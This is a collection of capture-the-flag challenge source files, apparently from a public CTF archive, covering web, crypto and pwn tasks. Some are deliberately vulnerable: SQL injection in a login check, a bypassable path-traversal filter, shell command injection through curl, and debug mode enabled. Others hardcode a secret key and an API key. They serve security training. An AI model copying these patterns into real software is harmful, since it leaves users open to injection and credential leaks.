]+baa_baa_baa_aaaฮฑa [16 ]+baa_baa_baa_aaaฮฑa [35 ]+baa_baa_baa_aaaฮฑa [33 ]+baa_baa_baa_aaaฮฑa [12 ]+baa_baa_baa_aaaฮฑa [13 ]+baa_baa_baa_aaaฮฑa [67 ]+baa_baa_baa_aaaฮฑa [67 ]+baa_baa_baa_aaaฮฑa [67 ] def moo_moo_Iฮ™Ill1 (cockadoodledo_OOฮŸ0ฮŸO ): print (cockadoodledo_OOฮŸ0ฮŸO ) def grrr_grrr_aaฮฑaa (): oink_oink_oink_IIIฮ™lI =input () return (oink_oink_oink_IIIฮ™lI ) def woof_ฮฑฮฑaaฮฑ (cockadoodledo_OOฮŸ0ฮŸO ,buzz_O0ฮŸ0ฮŸO ): return cockadoodledo_OOฮŸ0ฮŸO ==buzz_O0ฮŸ0ฮŸO def gobble_gobble_gobble_aฮฑฮฑaฮฑ (oink_OOOฮŸOฮŸ ,cockadoodledo_IIII1l ,roar_II1111 ): if (oink_OOOฮŸOฮŸ ): cockadoodledo_IIII1l (roar_II1111 ()) def roar_OฮŸ0O0O (): with open ('flag.txt.enc','r')as file : return file .readlines ()[0 ] def chirp_chirp_ฮฑaฮฑaฮฑ (snarl_snarl_ฮฑฮฑaaa ): oink_oink_oink_IIIฮ™lI ='' x = 0 for i in snarl_snarl_ฮฑฮฑaaa : oink_oink_oink_IIIฮ™lI +=chr(ord(i)-x%3) x+=1 return oink_oink_oink_IIIฮ™lI def ribbit_ribbit_ribbit_Iฮ™llฮ™l (): return chirp_chirp_ฮฑaฮฑaฮฑ (roar_OฮŸ0O0O ()) def quack_quack_Iฮ™ฮ™I1I (): return baa_baa_baa_aaaฮฑa [0 ]+baa_baa_baa_aaaฮฑa [2 ]+baa_baa_baa_aaaฮฑa [0 ]+baa_baa_baa_aaaฮฑa [1 ]+baa_baa_baa_aaaฮฑa [4 ]+baa_baa_baa_aaaฮฑa [1 ]+baa_baa_baa_aaaฮฑa [9 ] moo_moo_Iฮ™Ill1 (baa_O0O0OO ) snort_O0ฮŸ0OฮŸ =grrr_grrr_aaฮฑaa () roar_roar_roar_ฮฑฮฑฮฑฮฑฮฑ =woof_ฮฑฮฑaaฮฑ (snort_O0ฮŸ0OฮŸ ,quack_quack_Iฮ™ฮ™I1I ()) gobble_gobble_gobble_aฮฑฮฑaฮฑ (roar_roar_roar_ฮฑฮฑฮฑฮฑฮฑ ,moo_moo_Iฮ™Ill1 ,ribbit_ribbit_ribbit_Iฮ™llฮ™l )
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/release_unicorn/backend/app.py
ctfs/UACWS/2022/web/release_unicorn/backend/app.py
from flask import Flask, render_template, request from flask_limiter import Limiter from flask_limiter.util import get_remote_address import os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(32) limiter = Limiter( app, key_func=get_remote_address, default_limits=["120/minute"] ) @app.route('/', methods=['GET', 'POST']) def home(): return render_template('home.html') @app.route('/admin', methods=['GET', 'POST']) def admin(): return 'Under Construction...' @app.route('/flag') def flag(): with open('flag', 'r') as f: return f.read() @app.errorhandler(429) def ratelimit_handler(e): return 'If you keep that request rate, you will are only contributing the climate change. Respect <a href=\"https://www.youtube.com/watch?v=0YPC6sfgj2I\">our environment</a> and find smarter solutions' if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=False)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/BlinderEye/views.py
ctfs/UACWS/2022/web/BlinderEye/views.py
from flask import request, send_from_directory, render_template from app import app import sqlite3 import hashlib def checkSecret(_username, _password): # check user exists # connection object connection_obj = sqlite3.connect('/challenge/app/data/blindereye.db') # cursor object cursor_obj = connection_obj.cursor() cursor_obj.execute(f"SELECT * FROM USERS WHERE username = '{_username}' AND password = '{_password}'") result = cursor_obj.fetchone() if result: return True else: return False @app.route('/', methods=['GET']) def home(): return render_template('home.html') # robots.txt file @app.route('/robots.txt', methods=['GET']) def static_from_root(): return send_from_directory(app.static_folder, request.path[1:]) @app.route('/admin', methods=['GET']) def admin(): args = request.args _username = args.get('username') _password = args.get('password') # validate secrets if _username and _password and checkSecret(_username, _password): return render_template('admin.html') else: return render_template('404.html'), 404 @app.errorhandler(404) def page_not_found(e): return render_template('404.html'), 404
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/Missing_Out/app.py
ctfs/UACWS/2022/web/Missing_Out/app.py
from flask import Flask, send_from_directory, flash, request, redirect, url_for, render_template from werkzeug.utils import secure_filename from flask_limiter import Limiter from flask_limiter.util import get_remote_address import logging, os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(32) app.config['FILES_FOLDER'] = '/tmp/app' ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'} logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s') limiter = Limiter( app, key_func=get_remote_address, default_limits=["120/minute"] ) @app.route('/') def index(): app.logger.info('Home page accessed') return render_template('index.html') def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/upload_file', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] # If the user does not select a file, the browser submits an # empty file without a filename. if file.filename == '': flash('No selected file') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['FILES_FOLDER'], filename)) return redirect('/') return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' @app.route('/get_file/<path:name>') def get_file(name): return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True) @app.errorhandler(429) def ratelimit_handler(e): return 'If you keep that request rate, you will are only contributing the climate change. Respect <a href=\"https://www.youtube.com/watch?v=0YPC6sfgj2I\">our environment</a> and find smarter solutions' if __name__ == '__main__': app.run(host='0.0.0.0', port=8000, debug=True)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/rotated-secret-analysis/chall.py
ctfs/Ricerca/2023/crypto/rotated-secret-analysis/chall.py
import os from Crypto.Util.number import bytes_to_long, getPrime, isPrime flag = os.environ.get("FLAG", "fakeflag").encode() while True: p = getPrime(1024) q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate) if isPrime(q): break n = p * q e = 0x10001 m = bytes_to_long(flag) c = pow(m, e, n) print(f'{n=}') print(f'{e=}') print(f'{c=}')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/revolving-letters/chall.py
ctfs/Ricerca/2023/crypto/revolving-letters/chall.py
LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz" def encrypt(secret, key): assert len(secret) <= len(key) result = "" for i in range(len(secret)): if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}") result += secret[i] else: result += LOWER_ALPHABET[(LOWER_ALPHABET.index(secret[i]) + LOWER_ALPHABET.index(key[i])) % 26] return result flag = input() key = "thequickbrownfoxjumpsoverthelazydog" example = "lorem ipsum dolor sit amet" example_encrypted = encrypt(example, key) flag_encrypted = encrypt(flag, key) print(f"{key=}") print(f"{example=}") print(f"encrypt(example, key): {example_encrypted}") print(f"encrypt(flag, key): {flag_encrypted}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/rsalcg/chall.py
ctfs/Ricerca/2023/crypto/rsalcg/chall.py
from Crypto.Util.number import getPrime, getRandomNBitInteger import os FLAG = os.getenv("FLAG", "RicSec{*** REDACTED ***}").encode() def RSALCG(a, b, n): e = 65537 s = getRandomNBitInteger(1024) % n while True: s = (a * s + b) % n yield pow(s, e, n) def encrypt(rand, msg): assert len(msg) < 128 m = int.from_bytes(msg, 'big') return int.to_bytes(m ^ next(rand), 128, 'big') if __name__ == '__main__': n = getPrime(512) * getPrime(512) a = getRandomNBitInteger(1024) b = getRandomNBitInteger(1024) rand = RSALCG(a, b, n) print(f"{a = }") print(f"{b = }") print(f"{n = }") print(encrypt(rand, b"The quick brown fox jumps over the lazy dog").hex()) print(encrypt(rand, FLAG).hex()) print(encrypt(rand, b"https://translate.google.com/?sl=it&tl=en&text=ricerca").hex())
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/ps-converter/flag/flag_server.py
ctfs/Ricerca/2023/web/ps-converter/flag/flag_server.py
import os from http.server import HTTPServer from http.server import BaseHTTPRequestHandler class MyHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', "text/html") self.end_headers() self.wfile.write(b'<html>It works!</html>') def do_POST(self): flag = os.environ.get('FLAG') if not flag: self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Something went wrong. Please call admin.') return if self.path != '/showmeflag': self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Idiot') return self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(flag.encode()) server_address = ('0.0.0.0', 3000) httpd = HTTPServer(server_address, MyHTTPRequestHandler) httpd.serve_forever()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/cat-cafe/app.py
ctfs/Ricerca/2023/web/cat-cafe/app.py
import flask import os app = flask.Flask(__name__) @app.route('/') def index(): return flask.render_template('index.html') @app.route('/img') def serve_image(): filename = flask.request.args.get("f", "").replace("../", "") path = f'images/{filename}' if not os.path.isfile(path): return flask.abort(404) return flask.send_file(path) if __name__ == '__main__': app.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/funnylfi/challenge/app/app.py
ctfs/Ricerca/2023/web/funnylfi/challenge/app/app.py
import subprocess from flask import Flask, request, Response app = Flask(__name__) # Multibyte Characters Sanitizer def mbc_sanitizer(url :str) -> str: bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c" for c in url: try: if c.encode("idna").decode() in bad_chars: url = url.replace(c, "") except: continue return url # Scheme Detector def scheme_detector(url :str) -> bool: bad_schemes = ["dict", "file", "ftp", "gopher", "imap", "ldap", "mqtt", "pop3", "rtmp", "rtsp", "scp", "smbs", "smtp", "telnet", "ws"] url = url.lower() for s in bad_schemes: if s in url: return True return False # WAF @app.after_request def waf(response: Response): if b"RicSec" in b"".join(response.response): return Response("Hi, Hacker !!!!") return response @app.route("/") def funnylfi(): url = request.args.get("url") if not url: return "Welcome to Super Secure Website Viewer.<br>Internationalized domain names are supported.<br>ex. <code>?url=โ“”xample.com</code>" if scheme_detector(url): return "Hi, Scheme man !!!!" try: proc = subprocess.run( f"curl {mbc_sanitizer(url[:0x3f]).encode('idna').decode()}", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "[error]: timeout" if proc.returncode != 0: return "[error]: curl" return proc.stdout if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=31415)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/manage.py
ctfs/justCTF/2021/pwn/PainterHell/web/manage.py
#!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "icypis.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/settings.py
ctfs/justCTF/2021/pwn/PainterHell/web/icypis/settings.py
import os import sys BASE_DIR = os.path.abspath(os.path.join(os.path.abspath(os.path.dirname(__file__)), '..')) SECRET_KEY = '@^77ppr3^qy@9r-ym^$(mvpj+=p!7ki3+2bt&32kgt-15a)(_@' DEBUG = False ALLOWED_HOSTS = [ 'app' ] INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'tf', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', #'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'icypis.urls' WSGI_APPLICATION = 'icypis.wsgi.application' DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'DIRS': [ os.path.join(BASE_DIR, 'templates'), ], 'OPTIONS': {}, }, ] LANGUAGE_CODE = 'pl' TIME_ZONE = 'Europe/Warsaw' USE_I18N = True USE_L10N = True USE_TZ = False STATIC_URL = '/static/' STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'assets'), ) STATIC_ROOT = os.path.join(BASE_DIR, 'static') # python manage.py collectstatic LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'verbose': { 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s', }, }, 'handlers': { 'console': { 'class': 'logging.StreamHandler', 'stream': sys.stdout, 'formatter': 'verbose', }, }, 'loggers': { 'django.request': { 'handlers': ['console'], 'level': 'INFO', 'propagate': False, }, }, 'root': { 'handlers': ['console'], 'level': 'INFO' } } TF2_TEMP_DIR = os.path.join(BASE_DIR, 'temp')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/__init__.py
ctfs/justCTF/2021/pwn/PainterHell/web/icypis/__init__.py
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/wsgi.py
ctfs/justCTF/2021/pwn/PainterHell/web/icypis/wsgi.py
""" WSGI config for icypis project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/ """ import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "icypis.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/urls.py
ctfs/justCTF/2021/pwn/PainterHell/web/icypis/urls.py
from django.conf.urls import include, url urlpatterns = [ url(r'^tf/', include('tf.urls', namespace='tf')), ]
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/views.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/views.py
import os import hashlib import random import time import re from pathlib import Path from django.http import HttpResponse from django.conf import settings from django.views.generic import View from django.views.generic.base import TemplateResponseMixin from ipware.ip import get_ip from utils import steam TF2_TEMP_DIR = settings.TF2_TEMP_DIR def get_tf2_file(file): return str(Path(TF2_TEMP_DIR) / Path(file)) class HatsView(View): def get(self, request, *args, **kwargs): ip = get_ip(request) port = request.GET.get('port') if not ip or not port: return HttpResponse(b'<header>Invalid date') if 'update' in request.GET: obj = steam.TF2(dir=TF2_TEMP_DIR) if obj.save_items(): return HttpResponse(b'<header>1') else: return HttpResponse(b'<header>2') elif 'file' in request.GET: file = request.GET.get('file', '') allowed_files = ['efekt_info.txt', 'hats_info_pl.txt', 'paint_info.txt'] filename = get_tf2_file(file) if file in allowed_files and os.path.isfile(filename): return HttpResponse(open(filename, 'rb').read(), content_type="text/plain; charset=utf-8") else: sid = request.GET.get('sid', '') if sid: obj = steam.TF2(dir=TF2_TEMP_DIR) str_items = obj.get_client(steam.convert_32to64(sid)) return HttpResponse(b'<header>' + str_items.encode()) return HttpResponse(b'<header>Invalid date') class ColorsView(TemplateResponseMixin, View): template_name = 'tf/colors.html' def dispatch(self, request, *args, **kwargs): ip_server = get_ip(request) if not ip_server: return HttpResponse(b'<header>Invalid date') ip_client = request.GET.get('ip', None) port = request.GET.get('port', None) sid = request.GET.get('sid', None) obj = steam.TF2Colors() if sid is not None and port is not None and ip_client is not None: hash_priv = hashlib.sha1(str(random.random()).encode()).hexdigest() # fake hash if sid and ip_client: file_data = '{0} ; {1} ; {2} ; {3} ; {4}'.format(ip_server, port, ip_client, sid, int(time.time())) with open(get_tf2_file('cookie/{}.txt'.format(sid)), 'wt') as fp: fp.write(file_data) else: hash_priv = obj.generate_priv_hash(ip_server, port) # not sid and client ip return HttpResponse(b'<header>' + hash_priv.encode()) if sid: file_name = get_tf2_file('cookie/{}.txt'.format(sid)) if not os.path.isfile(file_name): return HttpResponse(b'<header>Invalid date') file_data = open(file_name, 'rt').read().split(' ; ') if file_data[2] != ip_server or file_data[3] != sid or (int(time.time()) - int(file_data[4])) > 600: return HttpResponse(b'<header>Invalid date') if 'rgb1' in request.POST and 'rgb2' in request.POST: color_name = request.POST.get('nazwa', 'nazwa-' + str(random.randint(1, 100000))) rgb1 = request.POST.get('rgb1', '') rgb2 = request.POST.get('rgb2', '') color_name = re.sub("[^ฤ™รณฤ…ล›ล‚ลผลบฤ‡ล„ฤ˜ร“ฤ„ลšลลปลนฤ†ลƒA-Z0-9a-z -]+", "", color_name) color_name = color_name[0:15] rgb1 = int(rgb1[1:], 16) rgb2 = int(rgb2[1:], 16) data_socket = 'kolory:{0};{1};{2};{3}'.format(sid, color_name, rgb1, rgb2) data_response = obj.send_socket(file_data[0], file_data[1], data_socket) if not data_response: data_response = "Bล‚ฤ…d serwera!" return self.render_to_response({'msg': data_response}) return self.render_to_response({}) return HttpResponse(b'<header>Invalid date')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/models.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/models.py
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/__init__.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/__init__.py
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/tests.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/tests.py
from django.test import TestCase # Create your tests here.
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/urls.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/urls.py
from django.conf.urls import url from .views import ColorsView, HatsView urlpatterns = [ url(r'^hats/$', HatsView.as_view(), name='hats'), url(r'^colors/$', ColorsView.as_view(), name='colors'), ]
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/migrations/__init__.py
ctfs/justCTF/2021/pwn/PainterHell/web/tf/migrations/__init__.py
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/utils/steam.py
ctfs/justCTF/2021/pwn/PainterHell/web/utils/steam.py
import urllib.parse import urllib.request import json import hashlib import socket import datetime import os def send_request(url, data=None, post=False, is_json=False): form_data = urllib.parse.urlencode(data) if data else '' if post: response = urllib.request.urlopen(url, form_data.encode()).read().decode() else: response = urllib.request.urlopen(url + '?' + form_data).read().decode() return response if not is_json else json.loads(response) def convert_32to64(steamid): # [U:1:61367470] # STEAM_0:0:30683735 if steamid[1] == 'U': # steam3 return 76561197960265728 + int(steamid[5:-1]) elif steamid[0] == 'S': # steam 2 return 76561197960265728 + int(steamid[8]) + (int(steamid[10:])*2) return 0 class TF2: def __init__(self, dir=None): self.key = 'E340348F2FAC64C68C8BE48CE1253A62' # Get from: https://steamcommunity.com/dev/apikey self.language = 'pl' if dir is not None: os.chdir(dir) def save_items(self): # This is broken :( # Valve deprecate this endpoint. # Ref: https://www.reddit.com/r/tf2/comments/8glw2m/website_operators_and_update_enthusiasts_that/ response = send_request('http://api.steampowered.com/IEconItems_440/GetSchema/v0001/', { 'key': self.key, 'language': self.language, 'format': 'json' }, is_json=True) if response['result']['status'] != 1: return False with open('hats.txt', 'wt', encoding='utf-8') as fp, \ open('hats_info_pl.txt', 'wt', encoding='utf-8') as fp2, \ open('paint_info.txt', 'wt', encoding='utf-8') as fp3: fp_items = list() fp2_items = list() fp3_items = list() for item in response['result']['items']: if ('item_slot' in item and item['item_slot'] == 'head') or \ ('craft_material_type' in item and item['craft_material_type'] == 'hat') or \ ('item_type_name' in item and item['item_type_name'] == 'Nakrycie gล‚owy'): hat_type = (1 << 1) if 'capabilities' in item and 'paintable' in item['capabilities'] and \ item['capabilities']['paintable']: hat_type |= (1 << 0) fp_items.append(str(item['defindex'])) fp2_items.append('{0} ; {1} ; {2}'.format(item['defindex'], item['item_name'], hat_type)) elif 'tool' in item and 'type' in item['tool'] and item['tool']['type'] == 'paint_can': has_attrib = dict() for attrib in item['attributes']: if attrib['class'] == 'set_item_tint_rgb' or attrib['class'] == 'set_item_tint_rgb_2': has_attrib[attrib['class']] = attrib['value'] if len(has_attrib) == 1: fp3_items.append('{0} ; {1} ; {1}'.format(item['item_name'], has_attrib['set_item_tint_rgb'])) elif len(has_attrib) == 2: fp3_items.append('{0} ; {1} ; {2}'.format(item['item_name'], has_attrib['set_item_tint_rgb'], has_attrib['set_item_tint_rgb_2'])) fp.write(','.join(fp_items)) fp2.write('\n'.join(fp2_items)) fp3.write('\n'.join(fp3_items)) effect_name = { "Attrib_KillStreakEffect2002": "Ogniste Rogi", "Attrib_KillStreakEffect2003": "Mรณzgowe Wyล‚adowanie", "Attrib_KillStreakEffect2004": "Tornado", "Attrib_KillStreakEffect2005": "Pล‚omienie", "Attrib_KillStreakEffect2006": "Osobliwoล›ฤ‡", "Attrib_KillStreakEffect2007": "Spopielacz", "Attrib_KillStreakEffect2008": "Hipno-Promieล„", "Attrib_KillStreakIdleEffect1": "Blask Druลผyny", "Attrib_KillStreakIdleEffect2": "Nieludzki Narcyz", "Attrib_KillStreakIdleEffect3": "Manndarynka", "Attrib_KillStreakIdleEffect4": "Zล‚oล›liwa Zieleล„", "Attrib_KillStreakIdleEffect5": "Bolesny Szmaragd", "Attrib_KillStreakIdleEffect6": "Perfidna Purpura", "Attrib_KillStreakIdleEffect7": "Hot Rod", } with open('efekt_info.txt', 'wt', encoding='utf-8') as fp: fp_items = list() for effect in response['result']['attribute_controlled_attached_particles']: if 'id' not in effect: continue if effect['name'] == 'Attrib_Particle55': effect['name'] = 'Orbitujฤ…ce Karty' # unusual hats if 2001 > effect['id'] >= 4: fp_items.append('{0} ; {1}'.format(effect['id'], effect['name'])) # unusual killstreak elif 3001 > effect['id'] >= 2002: try: name = effect_name['Attrib_KillStreakEffect' + str(effect['id'])] fp_items.append('{0} ; {1}'.format(effect['id'], name)) except: pass # unusual taunt elif 4001 > effect['id'] >= 3001: fp_items.append('{0} ; {1}'.format(effect['id'], effect['name'])) # unusual sheen elif 23001 > effect['id'] >= 22002: try: name = effect_name['Attrib_KillStreakIdleEffect' + str(effect['id'] - 22001)] fp_items.append('{0} ; {1}'.format(effect['id'], name)) except: pass fp.write('\n'.join(fp_items)) return True def get_client(self, steamid): response = send_request('http://api.steampowered.com/IEconItems_440/GetPlayerItems/v0001/', { 'key': self.key, 'steamid': steamid, 'format': 'json' }, is_json=True) if response['result']['status'] != 1: return self.api_status(response['result']['status']) + ',' all_hats = [int(x) for x in open('hats.txt', 'rt', encoding='utf-8').read().split(',')] all_hats_name = {int(x.split(' ; ')[0]): x.split(' ; ')[1] for x in open('hats_info_pl.txt', 'rt', encoding='utf-8').read().split('\n')} ret_items = dict() for item in response['result']['items']: item['defindex'] = int(item['defindex']) if item['defindex'] in all_hats: ret_items[all_hats_name[item['defindex']]] = str(item['defindex']) return self.api_status(response['result']['status']) + ',' + ' '.join(ret_items.values()) @staticmethod def api_status(status): if status == 1: return '1' elif status == 8: return '2' elif status == 15: return '3' elif status == 18: return '4' else: return '5' class TF2Colors: @staticmethod def generate_hash(ip, port): hash_pub = b'c17e7d02ef1bbd2f87d269143bfeef7983e33124' hash_priv = TF2Colors.generate_priv_hash(ip, port).encode() hash_new = list(hashlib.sha1(hash_pub + hash_priv).hexdigest()) hash_new[12], hash_new[5] = hash_new[5], hash_new[12] hash_new = ''.join(hash_new) return hash_new @staticmethod def generate_priv_hash(ip, port): ret_hash = 'hj13abx{0}:{1}{2}6hasb14as'.format(ip, (int(port) - 25555), datetime.date.today().strftime('%Y-%m-%d')) return hashlib.sha1(ret_hash.encode()).hexdigest() @staticmethod def send_socket(ip, port, dane): try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) as s: s.connect((ip, int(port))) s.settimeout(2) s.send(b'open:' + TF2Colors.generate_hash(ip, port).encode()) s.send(dane.encode()) return s.recv(256) except: return None
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/utils/__init__.py
ctfs/justCTF/2021/pwn/PainterHell/web/utils/__init__.py
# -*- coding: utf-8 -*-
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/pwn/PyPlugins/private/pyplugins.py
ctfs/justCTF/2023/pwn/PyPlugins/private/pyplugins.py
